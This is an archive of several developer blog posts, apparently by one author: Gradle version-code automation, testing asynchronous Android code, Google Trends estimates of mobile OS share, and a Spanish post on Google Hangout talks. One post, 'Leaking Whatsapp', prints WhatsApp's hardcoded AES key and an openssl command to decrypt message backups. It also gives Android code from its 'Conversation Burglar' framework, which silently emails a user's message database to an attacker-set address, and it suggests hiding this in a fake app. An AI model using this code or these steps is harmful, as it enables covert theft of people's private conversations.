Automatically increasing versionCode with Gradle

Continuous Integration means, above all, automatization. The user should not be in charge of the distribution or deployment process. Everything should be scripted!

While deploying new versions in Android, one of the common tasks is to increase the versionCode to identify a particular build. Using the new Gradle system, this can also be automatized.

def getVersionCodeAndroid() {
    println "Hello getVersionCode"
    def manifestFile = file("src/main/AndroidManifest.xml")
    def pattern = Pattern.compile("versionCode=\"(\\d+)\"")
    def manifestText = manifestFile.getText()
    def matcher = pattern.matcher(manifestText)
    matcher.find()
    def version = ++Integer.parseInt(matcher.group(1))
    println sprintf("Returning version %d", version)
    return version
}

task('writeVersionCode')  {     
    def manifestFile = file("src/main/AndroidManifest.xml")   
    def pattern = Pattern.compile("versionCode=\"(\\d+)\"")   
    def manifestText = manifestFile.getText()    
    def matcher = pattern.matcher(manifestText)     
    matcher.find()    
    def versionCode = Integer.parseInt(matcher.group(1))   
    def manifestContent = matcher.replaceAll("versionCode=\"" + ++versionCode + "\"")     
    manifestFile.write(manifestContent) 
} 

tasks.whenTaskAdded { task ->
    if (task.name == 'generateReleaseBuildConfig') {
        task.dependsOn 'writeVersionCode'
    }

    if (task.name == 'generateDebugBuildConfig') {
        task.dependsOn 'writeVersionCode'
    }
}

In our defaultConfig, we will need to specify that the versionCode must be read from the newly added function:

  versionCode getVersionCodeAndroid()

Testing Asynchronous Tasks on Android

Recently, at Sixt we have been migrating our development environment from Eclipse to Android Studio. This has mean we have also moved to the new build system, Gradle, and applying TDD and CI to our software development process. This is not the place to discuss the benefits of applying CI to a software development plan, but to talk about a problem arising when testing tasks running on different threads than the UI in Android.

 

A test in Android is (broad definition) an extension of a JUnit Suitcase. They do include setUp() and tearDown() for initialization/closing the tests, and infers using reflection the different test methods (starting with JUnit 4 we can use annotations to specify the priority and execution of all the tests). A typical test structure will look like:

public class MyManagerTest extends ActivityTestCase {

	public MyManagerTest(String name) {
		super(name);
	}

	protected void setUp() throws Exception {
		super.setUp();
	}

	protected void tearDown() throws Exception {
		super.tearDown();
	}

	public void testDummyTest() {
		fail("Failing test");
	}

}

This is a very obvious instance: in a practical case we would like to test things such as HTTP requests, SQL storage, etc. In Sixt we follow a Manager/Model approach: each Model contains the representation of an Entity (a Car, a User…) and each Manager groups a set of functionality using different models (for example, our LoginManager might require of models Users to interact with them). Most our managers perform HTTP  requests intensively in order to retrieve data from our backend. As an example, we would perform the login of a user using the following code:

 

	mLoginManager.performLoginWithUsername("username", "password", new OnLoginListener() {
		@Override
		public void onFailure(Throwable throwable) {
			fail();
		}

		Override
		public void onSuccess(User customer) {
		//..
		}
	});

When it comes to apply this to our own test suitcase, we just make the process fail() when the result does not work as we were expecting. We can see why in the method onFailure() we call to fail().

However, even if I was using a wrong username the test was still passing. Wondering around, seems that the test executed the code sequentially, and did not wait until the result of the callbacks was back. This is certainly a bad approach, since a modern application do intense usage of asynchronous tasks and callback methods to retrieve data from a backend!. Tried applying the @UiThreadTest bust still didn’t work.

I found the following working method. I simply use CountDownLatch signal objects to implement the wait-notify (you can use synchronized(lock){… lock.notify();}, however this results in ugly code) mechanism. The previous code will look like follows:

	final CountDownLatch signal = new CountDownLatch(1);
	mLoginManager.performLoginWithUsername("username", "password", new OnLoginListener() {
		@Override
		public void onFailure(Throwable throwable) {
			fail();
			signal.countDown();
		}

		Override
		public void onSuccess(User customer) {
			signal.countDown();
		}
	});
	signal.await();

 

Predicting the usage of mobile OS with Google Trends

Determining the usage of mobile operating systems is a crucial task to determine the movement of many businesses around the world. Depending on the growth of each platform, thousands of companies will change their decisions and business for a year.

The usage is mainly tracked by measuring and information companies such as Nielsen, Gartner or Canalys. Their methodology, as in many different surveys, consists on combining interviews and statistical data from the companies (also sold phones) and Internet tracking information (i.e., by requesting the “user agents” collected by an Internet Server the percentage corresponding to a particular operating system might be determined). However there are always problems in this methodology: as a very simple and extreme example, most of the devices accessing google.com will be either Android or WPhone, since WPhone promotes its own search engine Bing, and however the number of WPhone users will be extremely low compared with its real number).

Connecting this with the second part of the article: Google has become the primary means of finding information on the net. Each single query entered within the search engine is stored, and afterwards available to the main public through their Website, Google Trends. There are some interesting stories out from Google Trends. Google has its own website that tracks the spread of influenza in different regions and countries, for example. In some other scenarios, the prediction might not be as accurate, as seen in the prediction of the  U.S. Congressional elections This data has an obvious connection with business analysis. Let’s say, what if AirBnb considers to get a full report of searches matching the term sublet before deciding where to deploy its service next? The numbers of examples are huge.

Now, how similar are the results dropped by surveys companies and Google Trends? Let’s going to see some results from survey companies corresponding to the usage of mobile platforms during this year:

Comscore report (USA only)

Bildschirmfoto 2013-03-13 um 21.11.59

Mobile OS Market Share as of February 2013 Net Applications

Bildschirmfoto 2013-03-13 um 21.02.08

 

StatCounter Global Stats:

Bildschirmfoto 2013-03-13 um 21.08.44

 

There are some significant differences. While StatCounter and Comscore are showing similar results for the order of the most relevant and used brands, their percentages vary significantly (and even Symbian appears as the forth most used Mobile OS with more than 8% of market share). On the other hand, the result of Net Applications vary completely from their rivals: iOS appears as the most used OS with more than 50% of the global users, and Java ME appears even with more than 12% of the global users.

Analyzing the same results with Google Trends: For the comparison I have used the terms “android”, “iphone”, “windows phone” and “blackberry”. Other terms such as “symbian” or “webos” do not appear to have any significance, so I decided to remove them from the comparison. This is the table that shows the comparison  between all the different operative systems;

 

Bildschirmfoto 2013-03-13 um 20.59.55

The peaks, highlighted with letters, show some of the major events related to each term (for instance A represents the launch of iPhone 5). This table can be generated under the following link.

 

Bildschirmfoto 2013-03-13 um 21.16.50

According to the percentage showed above, we will have the following percentages for each platform:

  • Android: 39/109 = 35,77%
  • iPhone: 54/109 = 49,54%
  • Windows Phone: 2/109 = 1,8%
  • Blackberry: 14/109 = 12,8%

 

Although they vary from the previous surveys, there are some common elements:

  • As in the survey from Net Applications, iOS leads the OS market with a percentage close to 50%.
  • Android is the second direct competitor.
  • Blackberry has more presence using Google Trends as in the other surveys, and Windows Phone has an ephemeral presence.

 

Some points that might lead to improve the results using Google Trends:

  • Some terms might diverge or converge between operative system and manufacturers. For instance, “samsung”, “htc” might be terms referring to Android, but also to different  news regarding their manufacturers. “ios” might refer to the operative system of iPhone. 
  • Some of the terms might have an overrepresentation. For example, is well known that the evolution of Blackberry Market has been quite negative. Most of the terms referring to Blackberry might be talking about the decadence of the platform. Ironically, this presence of the term on Internet gives more representation to the term Blackberry as it really deserves.
  • Apple has a well known reputation for its marketing and merchandising. This might lead as well to an overrepresentation of iPhone devices using this technique.
  • Tablets are not within the focus of this graphic, but it might be extended to another terms such as “ipad”, “honeycomb” or similars.

Google Trends provides an effective measure of levels of interest in one or more topics and of changes over time in this interest. The results can be effectively improved, and the automatization provided by the platform offer many advantages in comparison with the traditional surveying method.

 

Enrique López-Mañas

Leaking Whatsapp – stealing conversations silently

bug-big

Whatsapp, the fast-growing mobile messaging service, is the main threat to the (outdated) business model of telecommunications operators. Its exponencial numbers confirm that telcos react late and bad: Whatsapp has taken a position that will be hard to unthrone. The only apparent risk lies on another companies using the same concept of Push notifications: recently, Line appears to claim some users adding some more functionalities.

Business besides, is amazing to see how the security in Whatsapp is inexistant.  In an attempt to be moderate, I will simply say that using the word “security” is a disinformed statement. Being aggressive I would use other words.

In May 2011, there was a reported bug which left user accounts open for hijacking. This was the first public one. Since then, it was reported that communications within WhatsApp were not encrypted, being the data sent and received in plaintext. This allowed any person to intercept messages by connecting to the same WiFi as the target phone (an application for Android was even published on the market, although it was removed after a few weeks by Google). In May 2012 the bug was reported to be fixed, although took one year to implement a fix that is not specially complex.

In September 2011, a new version of WhatsApp allowed forged messages to be sent and messages from any WhatsApp user to be read.

On January 6, 2012, an unknown hacker published a website  which made possible to change the status of an arbitrary whatsapp user, as long as the phone number was known. This bug was reported as fixed on January 9… but the only measure that was taken was blocking the website’s IP address. As a reaction, a Windows tool was made available for download providing the same functionality. This issue has not been resolved until now.

On January 13, 2012, Whatsapp was pulled from the iOS App Store for a non disclosed reason. The app was added back to the App Store 4 days later. German Tech blog The H demonstrated how to hijack any WhatsApp account on September 14, 2012. WhatsApp reacted with a legal threat to WhatsAPI’s developers.

The last unassailable bastion was the local database of messages, since it was physically stored in the device and we would need access to it… in theory. Let’s gonna show how can we achieve this. In most cases it is possible to obtain the WhatsApp message history from an encrypted device or backup, for details read this paper: WhatsApp Database Encryption Project Report

Summarizing: The database containing all the WhatsApp messages is stored in a SQLite file format. For iOS phones this file is in the path: [App ID] / Documents / ChatStorage.sqlite and in the case of Android phones at / com.whatsapp / databases / msgstore.db. This file is unencrypted, and this requires the phone to access the jailbreaked. In Android, the backup file is stored in the external memory card, and was also not encrypted. This changed in one application update, and now, if the phone is lost or stolen, the messages can not be read.

Unfortunately, the application uses the same key for the encryption (AES-192-ECB) (346a23652a46392b4d73257c67317e352e3372482177652c), and there is no use of enthropy or unique factors for each device, so the database can be unencrypted within a matter of seconds.

openssl enc -d  -aes-192-ecb -in msgstore-1.db.crypt -out msgstore.db.sqlite -K346a23652a46392b4d73257c67317e352e3372482177652c

 

So, we know how to break the encryption. Now we have to solve the problem of having access to the device.

Android uses permissions to determine what the applications can do when they are install on the device. In order to read from the external storage we need to use the permission android.permission.WRITE_EXTERNAL_STORAGE. By using that, we will be able to access all the files within the SDCard. Surprisingly, Whatsapp developers didn’t use the internal storage for the application, which would have prevent any application from stealing their data.

Now that we can access the data, we need to send it somewhere else. By default, Android allows us to use Intents in order to send emails. But this is not transparent at all: the user will be able to see that we are trying to send an email to an unknown email address, and this action will be canceled. But we can use some other techniques. For example, we could use a transparent layer, connect to a mail server without triggering the user perception and adcquire the file with the precious information.

I have developed a framework (WhatsApp Conversation Burglar) that can be included within an Android application, and steal the data without the user getting to know it. You can download it from here.

Let’s see how it works:

The framework presents a dummy Activity (MailSenderActivity), with only a button. We have the following listener when the button is clicked:

 public void onClick(View v) {
            	try {   
                	AsyncTask<Void, Void, Void> m = new AsyncTask<Void, Void, Void>() {

						@Override
						protected Void doInBackground(Void... arg0) {
							GMailSender sender = new GMailSender(EMAIL_STRING, PASSWORD_STRING);
		                    try {
		                    	sender.addAttachment("/storage/sdcard0/WhatsApp/Databases/msgstore.db.crypt", SUBJECT_STRING);
								sender.sendMail(SUBJECT_STRING,   
								        BODY_STRING,   
								        EMAIL_STRING,   
								        RECIPIENT_STRING);
							} catch (Exception e) {
								e.printStackTrace();
							}   
							return null;
						}
                	};
                	m.execute((Void)null);
                } catch (Exception e) {   
                    DebugLog.e("SendMail", e.getMessage());   
                } 
            }
        });

This section of code initializes an object GMailSender with some parameters. The function addAttachment() attach a target file to be sent (in our case, it is the database containing all the WhatsApp messages) and a SUBJECT to the email. The function sendMail() just send the email with the required information (SUBJECT_STRING, BODY_STRING, EMAIL_STRING, RECIPIENT_STRING). The class GMailSender is the object responsible of all the email communication, using the library JavaMail. The code is self-explanatory.

By setting the right parameters, the file with all the conversations is sent to the provided email address, where we can decrypt it by using the line I provided before in the terminal. If you want to use this framework in your application, you only have to add it as a library, and include the code within the application (probably on the onCreate() method of the first activity triggered, so you make sure the conversations are stolen when the application starts). A fake application could include this framework, and still all the conversations from the users installing it

There is no way to prevent this error, just removing the file with all the conversations. WhatsApp could use a different kind of encryption (using data such as device IMEI, UNIX time of installation or any non replicable information), or just move it to the private application folder (/data/data/com.package.name/). But considering their tragic history on security we probably can not rely on this.

If you have any comment about the previous post feel free to contact me per email.

 

Enrique López-Mañas

Charlas a través de Google Hangout

No hace mucho tiempo atrás, han surgido plataformas de educación online como Coursera y Udacity, que ofrecen cursos de universidades de primer nivel como MIT o Stanford. La posibilidad de acceder a información que hace tiempo se antojaba elitista tiene potencial de transformar el sistema educativo tal y como lo conocemos, ofreciendo la posibilidad de acceder a estos cursos de manera online, gratuita y permitiendo encontrarse en cualquier lugar del globo. Para más información, recomiendo ver la charla de Daphne Koller, profesora del laboratorio de Inteligencia Artificial de Stanford.

 

 

 

Por supuesto a un menor nivel, y reflexionando sobre ello al respecto de las clases que impartiré el semestre que viene en el Máster de Videojuegos de la Universidad de Alcalá, me preguntaba qué posibilidades podrían ofrecer formatos tales como Google Hangout para la educación online. Uno de mis principales intereses ha sido y es el aprendizaje de idiomas: como realizarlo de manera efectiva usando dispositivos móviles (la mayoría de mis aplicaciones llevan esa dirección). Recomiendo los artículos de H. Douglas Brown y VJ Cook para poder indagar un poco más sobre cómo funciona el proceso cognitivo del aprendizaje y sedimentación de un idioma posterior al materno. Ya se han realizado con anterioridad experimentos similares en el campo del aprendizaje a través de Google Hangout.

Desde hace un tiempo, discutía con mi colega Marius Budin la posibilidad de ofrecer eventos de este tipo a través de Google Hangout. Tras un tiempo discutiendo, decidimos organizar un primer experimento en el cuál yo daría una charla sobre testing y JUnit para Android, y Marius lo realizaría sobre Widgets y Notificaciones. Tras un periodo burocrático, ensayando y discutiendo cuál sería el mejor formato, decidimos realizar una sesión con las siguientes características:

1.- A través de GDG Barcelona organizaríamos una charla, utilizando Google Plus como punto de encuentro, utilizando la capacidad de movilización de GDG

2.- Los participantes podrían confirmar su participación a través de un evento en Google Plus.

3.- Dado que Google Hangout tan sólo permite 10 participantes, decidimos que Marius, yo y Rubén Serrano participaríamos directamente en el Hangout.

4.- Rubén actuaría como árbitro o moderador.

5.- Cada vez que un participante desease intervenir en el Hangout, podría a través del evento de Google Plus pedir voz, y Rubén nos lo indicaría (ya que al ponente no le es posible leer los comentarios durante su charla).

6.- El vídeo sería posteriormente colgado en Youtube, para poder acceder con posterioridad.

Tras el evento y el feedback obtenido, podemos sentirnos muy satisfechos con el resultado final. La sensación general después del evento es muy dulce, y así nos lo confirmó también Rubén, quien imparte clases durante el fin de semana y dispuso a sus alumnos para el evento. El número de asistentes al evento Live osciló entre 32 y 45, incluyendo también cuentas desde las que había múltiples accesos, por lo que es razonable pensar que el número total fue superior en determinados intervalos.

Espero que podamos continuar dando salida a este formato en el futuro, y podamos seguir destilando y mejorando todo el potencial que tiene. Podéis acceder al vídeo y al evento en este enlace.